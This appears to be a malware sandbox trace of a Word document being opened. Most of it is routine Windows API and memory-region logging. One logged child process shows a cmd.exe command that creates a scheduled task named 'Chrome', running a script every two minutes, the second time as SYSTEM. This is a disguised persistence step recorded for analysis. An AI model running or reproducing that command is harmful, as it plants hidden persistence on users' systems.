RtlLookupFunctionEntry (in: ControlPc=0x69f11b4, ImageBase=0x129f90, HistoryTable=0x129fb0 | out: ImageBase=0x129f90, HistoryTable=0x129fb0) returned 0x69f120c [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x69f08b4, ImageBase=0x129f90, HistoryTable=0x129fb0 | out: ImageBase=0x129f90, HistoryTable=0x129fb0) returned 0x69f0904 [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x69f03d4, ImageBase=0x129f90, HistoryTable=0x129fb0 | out: ImageBase=0x129f90, HistoryTable=0x129fb0) returned 0x69f042c [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x6a9aaf4, ImageBase=0x129f90, HistoryTable=0x129fb0 | out: ImageBase=0x129f90, HistoryTable=0x129fb0) returned 0x6a9ab44 [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x6a9ad48, ImageBase=0x129f90, HistoryTable=0x129fb0 | out: ImageBase=0x129f90, HistoryTable=0x129fb0) returned 0x6a9ada8 [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x69f0184, ImageBase=0x129f90, HistoryTable=0x129fb0 | out: ImageBase=0x129f90, HistoryTable=0x129fb0) returned 0x69f01d4 [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69e98b0) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69e7ed0) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69e7a80) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69e7630) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69e8770) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69e9010) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69e8320) [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x69f0acc, ImageBase=0x129fd0, HistoryTable=0x129ff0 | out: ImageBase=0x129fd0, HistoryTable=0x129ff0) returned 0x69f0b30 [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x69f165c, ImageBase=0x129fd0, HistoryTable=0x129ff0 | out: ImageBase=0x129fd0, HistoryTable=0x129ff0) returned 0x69f16c0 [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x69f0fac, ImageBase=0x129fd0, HistoryTable=0x129ff0 | out: ImageBase=0x129fd0, HistoryTable=0x129ff0) returned 0x69f1008 [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x69f0d1c, ImageBase=0x129fd0, HistoryTable=0x129ff0 | out: ImageBase=0x129fd0, HistoryTable=0x129ff0) returned 0x69f0d78 [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69e8bc0) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x69e5e50) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x66d48a0) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x66d94c0) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x6abbe50) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x6aa7f40) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x69f7ff0) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x6642e10) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x69a5130) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x66d3d90) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x69ef1b0) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x6a53f40) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x69ae1d0) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x69c3f60) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x69a0d50) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x66d3fd0) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x66d3d60) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x69ae350) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x66d4240) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x69a0ce0) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x68d85e0) [0225.820] IMalloc:Free (This=0x7feffc15380, pv=0x69acfd0) [0225.821] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a804b0, cb=0x0) returned 0x0 [0225.821] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50900 [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x6a50700) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x66d49c0) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x69a8b20) [0225.821] IUnknown:Release (This=0x6856a50) returned 0x3 [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x69a0c00) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x6a09020) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c970) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x66d4a20) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x6907420) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x699abb0) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x6a50900) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x690c6b0) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x6a7f950) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x69adbd0) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x69adc90) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x699ab20) [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x6a506f0) [0225.821] wcsncpy_s (in: _Destination=0x129ea0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0225.821] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchLength=0x47 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc") returned 0x47 [0225.821] IMalloc:Alloc (This=0x7feffc15380, cb=0x90) returned 0x672aef0 [0225.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", cchWideChar=72, lpMultiByteStr=0x672aef0, cbMultiByte=144, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", lpUsedDefaultChar=0x0) returned 72 [0225.821] IMalloc:Free (This=0x7feffc15380, pv=0x672aef0) [0225.821] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0 [0225.822] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d4450, cb=0x0) returned 0x0 [0225.822] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a506f0 [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x6a508e0) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x66d3fa0) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x66d3e80) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x69e6b60) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x66d48d0) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c890) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x6a80300) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x6a506f0) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x6a50880) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x6a9cf50) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x69ae410) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x6906600) [0225.822] IMalloc:Free (This=0x7feffc15380, pv=0x69066e0) [0225.822] GetCurrentThreadId () returned 0x8d0 [0225.822] GetCurrentThreadId () returned 0x8d0 [0225.823] IMalloc:Free (This=0x7feffc15380, pv=0x69a0b20) [0225.823] IMalloc:Free (This=0x7feffc15380, pv=0x6a508f0) [0225.823] IMalloc:Free (This=0x7feffc15380, pv=0x663ec10) [0225.823] IMalloc:Free (This=0x7feffc15380, pv=0x69a8a70) [0225.823] IMalloc:Free (This=0x7feffc15380, pv=0x69a8860) [0225.945] SysStringByteLen (bstr="潎浲污") returned 0x6 [0225.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a2cbb8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0225.945] SysStringByteLen (bstr="潎浲污") returned 0x6 [0225.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a2cbb8, cbMultiByte=7, lpWideCharStr=0x66d2ec8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0226.682] SysStringByteLen (bstr="潎浲污") returned 0x6 [0226.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a2cbb8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0226.683] SysStringByteLen (bstr="潎浲污") returned 0x6 [0226.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a2cbb8, cbMultiByte=7, lpWideCharStr=0x66d2ec8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0226.743] IMalloc:Free (This=0x7feffc15380, pv=0x6a1ccd0) [0226.743] IUnknown:Release (This=0x677d9c0) returned 0x3 [0226.743] IUnknown:Release (This=0x677a9f0) returned 0xa [0226.743] IUnknown:Release (This=0x677acc0) returned 0x5 [0226.743] IUnknown:Release (This=0x677dc90) returned 0x3 [0226.743] CExposedDocFile::Release () returned 0x2 [0226.743] CExposedDocFile::Release () returned 0x1 [0226.743] IMalloc:Free (This=0x7feffc15380, pv=0x6a50730) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x663ed50) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x69a0a40) [0226.744] GetCurrentThreadId () returned 0x8d0 [0226.744] SetCursor (hCursor=0x10007) returned 0x10007 [0226.744] CExposedDocFile::Release () returned 0x0 [0226.744] CExposedDocFile::Release () returned 0x0 [0226.744] GetCurrentThreadId () returned 0x8d0 [0226.744] GetCurrentThreadId () returned 0x8d0 [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x69a0c70) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x663f150) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x663f110) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x663f0d0) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x6642ed0) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x663efd0) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x6a800c0) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x407e9b0) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x407faf0) [0226.744] IMalloc:Free (This=0x7feffc15380, pv=0x4080390) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x407ff40) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x40807e0) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a942a0) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x66d4690) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x66d45a0) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x69a4ec0) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c8d0) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a90960) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a53e20) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x69ae290) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c6b0) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x69adf90) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c930) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x69d7010) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a92450) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x69ade10) [0226.745] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d4540, cb=0x0) returned 0x0 [0226.745] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50730 [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a50860) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x66d4330) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x66d4570) [0226.745] IUnknown:Release (This=0x6856a50) returned 0x0 [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x69a0b90) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a883c0) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c8f0) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x66d4660) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a2a050) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a7ffa0) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a50730) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x690c7a0) [0226.745] IMalloc:Free (This=0x7feffc15380, pv=0x6a09670) [0226.746] IConnectionPoint:Unadvise (This=0x69d6e30, dwCookie=0x4) returned 0x0 [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x66d4120) [0226.746] IUnknown:Release (This=0x69d6e30) returned 0x1 [0226.746] IConnectionPoint:Unadvise (This=0x69d6d70, dwCookie=0x4) returned 0x0 [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x66d40f0) [0226.746] IUnknown:Release (This=0x69d6d70) returned 0x1 [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x69ae110) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x69ae050) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x6a7ff10) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x6a50850) [0226.746] wcsncpy_s (in: _Destination=0x12c5f0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0226.746] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0226.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x12c520, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0226.746] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0226.746] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a50890, cb=0x0) returned 0x0 [0226.746] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50890 [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x6a508c0) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x66d3eb0) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x6a508b0) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x69e6510) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x66d4900) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c950) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x6a80390) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x6a50890) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x6a508a0) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x6a91790) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x69ae4d0) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x67dac60) [0226.746] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c910) [0226.747] GetCurrentThreadId () returned 0x8d0 [0226.747] GetCurrentThreadId () returned 0x8d0 [0226.747] IMalloc:Free (This=0x7feffc15380, pv=0x69a8700) [0226.753] SetCursor (hCursor=0x10007) returned 0x10007 [0228.671] SendMessageA (hWnd=0x101f0, Msg=0x10, wParam=0x0, lParam=0x0) returned 0x0 [0228.671] IsWindow (hWnd=0x0) returned 0 [0228.671] IsWindow (hWnd=0x0) returned 0 [0228.671] IsWindow (hWnd=0x0) returned 0 [0228.671] PeekMessageA (in: lpMsg=0x12f790, hWnd=0x101f0, wMsgFilterMin=0x1007, wMsgFilterMax=0x1007, wRemoveMsg=0x3 | out: lpMsg=0x12f790) returned 0 [0228.671] DestroyWindow (hWnd=0x101f0) returned 1 [0228.672] DeleteDC (hdc=0xffffffff89010247) returned 1 [0228.673] IMalloc:Free (This=0x7feffc15380, pv=0x68374c0) [0228.673] IMalloc:Free (This=0x7feffc15380, pv=0x66756f0) [0228.673] IMalloc:Free (This=0x7feffc15380, pv=0x66753c0) [0228.673] IMalloc:Free (This=0x7feffc15380, pv=0x67660a0) [0228.673] IMalloc:Free (This=0x7feffc15380, pv=0x67162b0) [0228.673] IMalloc:Free (This=0x7feffc15380, pv=0x695b490) [0228.673] WaitForSingleObject (hHandle=0xa14, dwMilliseconds=0x12c) returned 0x0 [0228.724] CloseHandle (hObject=0xa14) returned 1 [0228.724] IMalloc:Free (This=0x7feffc15380, pv=0x6a97490) [0228.725] IMalloc:Free (This=0x7feffc15380, pv=0x421b130) [0228.725] IMalloc:Free (This=0x7feffc15380, pv=0x421b540) [0228.725] IMalloc:Free (This=0x7feffc15380, pv=0x421b950) [0228.726] DllDebugObjectRPCHook () returned 0x1 [0228.726] IMalloc:Free (This=0x7feffc15380, pv=0x6a80540) [0228.726] IMalloc:Free (This=0x7feffc15380, pv=0x663f350) [0228.726] IMalloc:Free (This=0x7feffc15380, pv=0x6a9ff70) [0228.729] FreeLibrary (hLibModule=0x7fee3fb0000) returned 1 [0229.492] __clean_type_info_names_internal () returned 0x0 Thread: id = 22 os_tid = 0xa30 Thread: id = 35 os_tid = 0xaa4 Thread: id = 36 os_tid = 0xab4 Thread: id = 89 os_tid = 0xbb8 Thread: id = 186 os_tid = 0xa40 Thread: id = 262 os_tid = 0x8b0 Thread: id = 263 os_tid = 0x968 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6082a000" os_pid = "0xa34" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x8cc" cmd_line = "cmd /c schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F & schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 483 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 484 start_va = 0x130000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 485 start_va = 0x4a4c0000 end_va = 0x4a518fff entry_point = 0x4a4c0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 486 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 487 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 488 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 489 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 490 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 491 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 492 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 493 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 494 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 495 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 496 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 497 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 498 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 499 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 500 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 501 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 502 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 503 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 504 start_va = 0x7fef9350000 end_va = 0x7fef9357fff entry_point = 0x7fef9350000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 505 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 506 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 507 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 508 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 509 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 510 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 511 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 512 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 513 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 514 start_va = 0x3f0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 515 start_va = 0x4f0000 end_va = 0x677fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 516 start_va = 0x680000 end_va = 0x800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 517 start_va = 0x810000 end_va = 0x1c0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 518 start_va = 0x1c10000 end_va = 0x1f52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c10000" filename = "" Region: id = 519 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 520 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 521 start_va = 0x1f60000 end_va = 0x222efff entry_point = 0x1f60000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 23 os_tid = 0xa38 [0054.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fe90 | out: lpSystemTimeAsFileTime=0x22fe90*(dwLowDateTime=0x58382af0, dwHighDateTime=0x1d4a74f)) [0054.834] GetCurrentProcessId () returned 0xa34 [0054.834] GetCurrentThreadId () returned 0xa38 [0054.834] GetTickCount () returned 0x1cd9a [0054.834] QueryPerformanceCounter (in: lpPerformanceCount=0x22fe98 | out: lpPerformanceCount=0x22fe98*=1812824400000) returned 1 [0054.835] GetModuleHandleW (lpModuleName=0x0) returned 0x4a4c0000 [0054.835] __set_app_type (_Type=0x1) [0054.835] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4e7810) returned 0x0 [0054.835] __getmainargs (in: _Argc=0x4a50a608, _Argv=0x4a50a618, _Env=0x4a50a610, _DoWildCard=0, _StartInfo=0x4a4ee0f4 | out: _Argc=0x4a50a608, _Argv=0x4a50a618, _Env=0x4a50a610) returned 0 [0054.835] GetCurrentThreadId () returned 0xa38 [0054.835] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa38) returned 0x3c [0054.835] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0054.836] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0054.836] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0054.978] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0054.978] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22fe28 | out: phkResult=0x22fe28*=0x0) returned 0x2 [0054.978] VirtualQuery (in: lpAddress=0x22fe10, lpBuffer=0x22fd90, dwLength=0x30 | out: lpBuffer=0x22fd90*(BaseAddress=0x22f000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.978] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x22fd90, dwLength=0x30 | out: lpBuffer=0x22fd90*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.978] VirtualQuery (in: lpAddress=0x131000, lpBuffer=0x22fd90, dwLength=0x30 | out: lpBuffer=0x22fd90*(BaseAddress=0x131000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.978] VirtualQuery (in: lpAddress=0x134000, lpBuffer=0x22fd90, dwLength=0x30 | out: lpBuffer=0x22fd90*(BaseAddress=0x134000, 